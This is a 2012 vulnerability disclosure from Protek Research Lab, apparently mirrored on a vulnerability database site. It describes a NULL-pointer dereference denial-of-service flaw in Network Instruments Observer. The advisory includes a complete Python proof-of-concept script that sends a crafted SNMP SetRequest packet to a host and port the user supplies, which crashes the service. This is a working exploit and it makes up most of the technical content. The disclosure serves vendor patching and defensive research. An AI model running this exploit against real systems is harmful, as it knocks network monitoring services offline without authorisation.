Application: Network Instrument Observer SNMP SetRequest Denial of Service Vulnerability
Platforms: Windows
Secunia: SA47898
{PRL}: 2012-05
Author: Francis Provencher (Protek Research Lab's)
Website: http://www.protekresearchlab.com/
Twitter: @ProtekResearch
#####################################################################################
1) Introduction
2) Report Timeline
3) Technical details
4) The Code
#####################################################################################
===============
1) Introduction
===============
Network Instruments develops software and hardware solutions for analyzing and managing network
and application performance, such as network analyzers. They were founded in 1994, and are headquartered
in Minneapolis, Minnesota. The mainstay product of Network Instruments is its Observer family of network
analyzers (including Observer, Observer Expert and Observer Suite). The Observer product family was built for
real-time analysis, monitoring, and reporting of full-duplex network links in environments including local area networks
(LAN), wireless, Fibre Channel, Wide Area Networks, gigabit Ethernet, and Full duplex 10 GbE
(http://en.wikipedia.org/wiki/Network_Instruments)
#####################################################################################
============================
2) Report Timeline
============================
2012-02-07 Vulnerability reported to Secunia
2012-03-12 Vendor disclose patch
#####################################################################################
============================
3) Technical details
============================
The vulnerability is caused due to a NULL-pointer dereference error when copying an octet string from
a variable binding list. This can be exploited to cause a crash via a specially crafted SNMP SetRequest PDU
sent to UDP port 162.
#####################################################################################
===========
4) The Code
===========
#!/usr/bin/python
import sys,os,socket
if len(sys.argv) < 3:
print "Usage: host,port"
sys.exit(0)
host=sys.argv[1]
port=int(sys.argv[2])
sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
sock.connect((host,port))
sock.send("\x30\x35\x02\x01\x00\x04\x07\x70\x72\x69\x76\x61\x74\x65\xA3\x27\x02\x04\x00\x00\x00\x00\x02\x01\x00\x02\x01\x00\x30\x19\x30\x17\x06\x08\x2B\x06\x01\x02\x01\x01\x04\x00\x04\x84\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41")
print "done!"
sock.close()
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation